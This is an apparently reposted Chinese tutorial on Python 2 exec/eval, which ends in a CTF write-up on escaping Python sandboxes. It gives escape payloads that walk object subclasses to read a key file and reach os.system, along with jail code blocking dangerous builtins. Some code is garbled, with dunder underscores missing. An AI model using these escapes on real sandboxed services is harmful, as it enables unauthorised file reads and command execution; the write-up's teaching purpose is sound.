讲师中心 微信公众号
AI工具推荐 视频效率加速

分析Python沙箱逃逸问题

胖枫吖_5740

胖枫吖_5740

发布时间:2017-03-15 13:14:12

|

3253人浏览过

|

来源于php中文网

原创

[toc]
(基于 python 2.7)
在解决 python 沙箱逃逸这个问题之前,需要先了解 python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。

0x00 表达式的执行

用执行某个表达式的内容,可以使用 exec 或 eval 来进行。

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可选表达式。

1,对代码/字符串进行操作

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以执行多行代码,用三个引号括起来就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2,文件操作

execfile

一方面可以使用 execfile,它的作用是执行这个文件的内容

立即学习“Python免费学习笔记(深入)”;

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

pytest.py的输出结果为:

Gou Li Guo Jia Sheng Si Yi

execfile执行了pytest.txt里的内容,注意是执行而非读取,如果pytest.txt中的内容是'Gou Li Guo Jia Sheng Si Yi',那么将不会得到任何输出。
当然,执行一个 .py 文件也是可以的。而执行 .txt 文件的要求是,txt 文件中的内容是 ASCII 。最好还是执行一个 .py 文件而非 txt 文件。

这种执行其实是将 execfile 所指向的文件的内容直接 copy 过去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

此时,pytest 的结果为:

稻花香里说丰年,听取蛤声一片
2

其实就是完全地执行一遍文件里的内容……而不是当做函数调用来执行。

直接使用 exec 进行操作

直接使用 exec ,也是执行文件的内容,但是可以使用 in 表达式来使用 Global 变量域。

#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

输出结果为

111

exec 的 globals / locals 参数的使用方法

exec支持两个可选参数,不支持关键字指定参数。
Python 采用的是静态作用域(词法作用域)规则,类似于 C++,在该函数内该变量可用,在函数外不可用。
在 Pascal 语言中,采用的是动态作用域,也就是说,一旦函数被执行,该变量就会存在。例如,在函数 g 当中套了个函数 f,程序执行到f时,会在f中寻找表达式中的变量,如果找不到,就往外层找,此时g中若存在这个变量,则使用该变量,若不存在,继续向外逐层查找。
需要注意的是, exec是语法声明(statement),而非函数(function),而execfile 是函数。
原因如下:
在 exec中直接打印外部变量:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456

在函数中打印外部变量:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined

LEGB 规则

exec 中的 globals 参数

exec_stmt:    "exec" expression ["in" expression ["," expression]]

globals 是dict 对象,它指定了 exec 中需要的全局变量。

  • globlas等价于globals()

  • locals等价于globals参数的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42

在段代码中,exec中的值是locals,它来源于指定的k,即globals.
并且,globals 取于全局变量,作用于全局变量。

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101

比较:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101

可以看到,相对于exec来说,其内部具有三个变量,即 age,b,a
在制定之后,b 来自 g (global),而 a 来自自定的 local 变量。
由此可见,local 取于局部变量,作用于局部变量。
为了验证这一结论,对稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果:
#101
# print g['a']
#KeyError: 'a'

可以看到,a并没有作用于字典 g(全局的),而上面第一小节提到的globals中,键值a已经填入了全局的字典g.

exec 使用结论

可以做出以下结论:
我们将exec之后包括的内容分为三个部分:p1、p2、p3

exec ("""p1""",p2,p3)
  1. 第一部分 p1,其中的内容是,就是要执行的内容;

  2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3,p1中的结果会传回全局变量;

  3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

指令解释在这里:http://www.php.cn/
简要说明下,TOS 是top-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp。
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码,并返回执行后得到的值。

eval(expression[, globals[, locals]])

eval也有两个可选参数,即 globals 、locals
使用如下:

python 查询技能
python 查询技能

查询客流数据,输出JSON格式,可直接导入Bitable等可视化工具

下载
print eval("1+1")
#result:
#2

eval 的 globals / locals 参数的使用方法

1,globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE

比较:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值:

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

这就会因为没有返回值(不存在该变量而报错)。
而 eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要打印,则必须在 eval之前使用print。
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE

对比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE

对比 eval和exec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS。
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非eval或exec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:

import dis
def no():
    a = 1+1

dis.dis(no)
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

所以,RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

>>> import('os').system('dir')

或者:

>>> import os
>>> os.system('dir')

也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一个功能,设计为执行用户所输入的内容,如

print eval("input()")

此时用户输入1+1,那么会得到返回值 2。若前述的

os.system('dir')

则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。

import('os').system('dir')

这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

这样,就可以写成:

eval("input()",{'builtins':{}})

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是这种情况下builtions对buitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})

(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>,要通过

().class.bases[0]

bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object。
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

从上述情况来看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个:

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              'import',
              'eval',
              'input']
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure这个模块很好理解,看看下边的:

from re import findall

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()

在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

给了这个:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    'import',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

相关文章

python速学教程(入门到精通)
python速学教程(入门到精通)

python怎么学习?python怎么入门?python在哪学?python怎么学才快?不用担心,这里为大家提供了python速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
火山引擎

火山引擎是一款面向企业的云计算与AI服务平台。

超级简历WonderCV

一款AI办公效率工具,主要用于免费求职简历模版下载制作,应届生职场人必备简历制作神器,适合需要提升相关任务效率的用户。

AionClaw
AionClaw Hot

AionClaw是一款面向办公、创作和编程任务的AI桌面智能体。

DeepSeek

DeepSeek是一款面向对话、写作、编程和推理场景的AI大模型工具。

豆包大模型

豆包大模型是一款由字节跳动推出的企业级大语言模型服务平台。

WorkBuddy

一款AI办公效率工具,主要用于腾讯云推出的AI原生桌面智能体工作台,适合需要提升相关任务效率的用户。

Laper
Laper Hot

Laper是专为编剧、导演和制片人推出的 AI 原生剧本创作工具。

墨刀AI
墨刀AI Hot

一款AI图像与设计工具,主要用于产品经理的专属智能体,适合需要提升相关任务效率的用户。

二狗PPT
二狗PPT Hot

一款AI演示文稿工具,主要用于专为中式职场打造的AI PPT生成工具,适合需要提升相关任务效率的用户。

相关专题

更多
PixTV官网入口地址合集
PixTV官网入口地址合集

本专题汇总了 PixTV AI 一站式视频创作平台的官方入口与使用教程。无需下载软件,浏览器直接访问即可使用。平台将剧本、图像、视频、声音与剪辑整合在“无限画布”中,接入 GPT Image 2.5、Seedance 2.5 等头部模型。本专题整理了从新建画布、角色锚定、分镜拆分到视频生成与导出的完整操作指南,助你快速上手 AI 短剧与漫剧创作。

20

2026.10.10

Kratos框架HTTP与gRPC服务开发教程
Kratos框架HTTP与gRPC服务开发教程

本专题围绕Kratos框架双协议服务开发,涵盖HTTP路由与处理器编写、参数获取、gRPC服务实现与客户端调用、metadata上下文传递、encoding编解码注册、统一响应封装、超时控制与流式响应实现方法。

20

2026.10.10

Kratos框架Protobuf接口定义与代码生成合集
Kratos框架Protobuf接口定义与代码生成合集

本专题讲解Kratos框架接口定义体系,涵盖proto编写规范、proto add/client/server生成命令、http注解路由、validate校验、OpenAPI文档生成、跨服务proto复用与兼容性设计。

0

2026.10.10

C++虚函数怎么定义和调用
C++虚函数怎么定义和调用

C++虚函数是实现运行时多态的重要机制。本专题从virtual关键字的基本用法入手,介绍基类与派生类之间的函数重写、基类指针调用派生类方法,以及动态绑定的执行过程,帮助初学者掌握虚函数的核心语法。

20

2026.10.10

C++类与对象的封装方法教程
C++类与对象的封装方法教程

C++封装是面向对象编程的核心特性之一,通过类将数据与操作数据的函数组织在一起,并利用访问权限控制外部访问。本专题介绍类的定义、成员变量、成员函数以及public、private和protected的使用方法,帮助初学者掌握封装的基本原理。

20

2026.10.10

C++构造函数定义与调用方法
C++构造函数定义与调用方法

C++构造函数用于初始化类对象,是面向对象编程的重要基础。本专题从构造函数的定义、声明和调用入手,介绍默认构造函数、带参数构造函数、拷贝构造函数及成员初始化列表,帮助初学者掌握对象创建与初始化的基本方法。

20

2026.10.10

Kratos框架零基础入门教程
Kratos框架零基础入门教程

本专题整理Kratos框架入门内容,涵盖Go环境准备、kratos CLI安装升级、new命令创建项目、目录结构分层说明、服务启动与双协议端口、依赖下载报错排查,帮助开发者快速跑通第一个Kratos框架微服务应用。

20

2026.10.10

C++条件判断语句怎么写
C++条件判断语句怎么写

C++条件判断是控制程序执行流程的重要基础。本专题介绍if、if-else、else if和switch等常见分支语句,结合条件表达式、比较运算符与代码示例,帮助初学者掌握不同场景下的判断逻辑。

0

2026.10.10

C++变量怎么声明和赋值
C++变量怎么声明和赋值

C++变量是编写程序和存储数据的基础。本专题围绕变量声明、定义、初始化、赋值和类型选择等内容展开,帮助初学者理解不同变量的用法,并掌握在实际代码中定义和使用变量的方法。

20

2026.10.10

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn